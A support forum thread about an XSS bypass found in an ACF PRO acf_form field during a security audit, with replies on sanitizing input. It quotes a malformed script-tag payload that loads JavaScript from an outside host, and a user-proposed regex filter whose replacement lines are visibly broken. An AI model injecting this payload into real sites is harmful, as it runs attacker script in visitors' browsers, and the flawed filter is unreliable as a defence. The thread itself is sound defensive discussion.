Support

Account

Home Forums ACF PRO acf_form XSS Vulnerability

Solving

acf_form XSS Vulnerability

  • Hi there,

    I had a security expert do an audit on one of my sites and they, apparently, found a way to bypass XSS filtering on acf_form

    Specifically, on any text field, the following: "><script src="//s1n.fr/s.js"<>> will render the script if the field is called.

    Can someone please let me know how I can further hardent things to prevent this? Please note, I do have the following in my functions.php file:

    
    function ns_kses_post( $value ) {
    	// is array
    	if( is_array($value) ) {
    		return array_map('ns_kses_post', $value);
    	}
    	// return
    	return wp_kses_post( $value );
    }
    add_filter('acf/update_value', 'ns_kses_post', 10, 1);
    
  • After a bit more mucking about I can clarify the issue a bit.

    • When I save ($_POST data) the DB entry is escaped like: "><script Src=&quot;//s1n.fr/s.js&quot;> …so working as intended, I’m guessing
      I had a html_entity_decode in my code, which was a bit dumb for several reasons and I removed that
    • My acf_form modified the post title and I was using get_the_title() to render it on one page; this was somehow reversing my escaped entities (so I switched it to $post->post_title instead)

    So I guess as a summary:

    • wp_kses works great with acf_form by stripping out the unwanted stuff when the html is correctly formed (i.e. <script src="//s1n.fr/s.js"></script>)
    • however, when the html is malformed (i.e. "><script src="//s1n.fr/s.js"<>>), particular care has to be on how the stored value is rendered to make sure that the scripts aren’t getting decoded along with other entities that a developer may actually want to decode;
      • I realize that this is mostly up to the developer and not so much a plugin issue, but I do think it’s an important issue to raise/be cognizant of.
      • I may try to write a custom filter pattern to strip out strings that match script src= bit stead of the script ‘tags’ themselves (please see below)

    A new question:

    would it be possible to run something like a preg_replace for a pattern matching script src= on all fields using something like acf/save_post; any ideas on a best approach to this? …maybe something like:

    
    function ns_kses_post( $value ) {
    	// is array
    	if( is_array($value) ) {
    		return array_map('ns_kses_post', $value);
    	};
    
    	// strip out potentially malformed/unclosed scripts for XSS prevention
    	$search = array('/script.*src=.*\/\/.*\.js/');
    	$replace = __('[Removed for security]','acf');
    	$replace_value = preg_replace($search,$replace,$value);
    	if($replace_value){
    		$replace_value = str_replace('<','<',$replace_value);
    		$replace_value = str_replace('>','&rt;',$replace_value);
    		$value = $replace_value;
    	};
    
    	// return
    	return wp_kses_post( $value );
    }
    add_filter('acf/update_value', 'ns_kses_post', 10, 1);
    
  • I’d say that if wp_kses() is not removing the malformed tags then it is really a problem with wp_kses(), or possibly in the way it is called. When it comes to security.

    I’m not sure if it makes a difference. ACF calls wp_kses_post_deep(), which uses wp_kses_post() and not wp_kses(). There are some differences in these functions, though I’m not 100% sure what they are. But these functions use the wp map_deep() function, which does not rely on array_map()

    I don’t put much stock in using array_map() on nested arrays as it’s return is unreliable, which is why WP does not use it.

    If you are going to use your own function for cleaning the input, the first thing I would do is abandon using array_map() and in the same way that WP does, build a properly recursive function for cleaning the values. I have an example of this here https://github.com/Hube2/acf-filters-and-functions/blob/master/acf-form-kses.php

    Although nested values may not be your issue.

    as far as preg_replace goes, if your goal is to remove all HTML tags

    
    $value = preg_replace('#</?\w+[^>]*>#', '', $value);
    

    which would alter ><script src="//s1n.fr/s.js"<>> to >>

Viewing 3 posts - 1 through 3 (of 3 total)

The topic ‘acf_form XSS Vulnerability’ is closed to new replies.